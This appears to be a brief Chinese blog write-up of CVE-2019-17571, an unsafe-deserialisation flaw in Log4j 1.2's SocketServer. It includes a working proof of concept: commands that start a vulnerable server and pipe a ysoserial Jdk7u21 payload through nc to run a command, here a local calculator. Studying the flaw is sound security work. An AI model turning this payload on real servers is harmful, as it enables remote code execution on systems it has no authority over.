Apache Log4j 1.2.X 存在远程代码执行CVE-2019-17571

org.apache.log4j.net.SocketNode类在实现Runnable接口的run方法时,未对输入做过滤,直接读取流中的对象,特定条件下可被利用,存在远程代码执行的风险。

可以看到,直接就ReadObject了,啥过滤也没做,也没校验。
如果结合其他序列化漏洞,比如Jdk7u21,就可以远程代码执行。
用java version “1.7.0_05” 启动Log4j中的example服务:

$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer  1234 examples/lf5/InitUsingLog4JProperties/log4j.properties ../

结合ysoserial可以利用:

$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 “gnome-calculator” | nc localhost 1234

Leave a Reply

Your email address will not be published. Required fields are marked *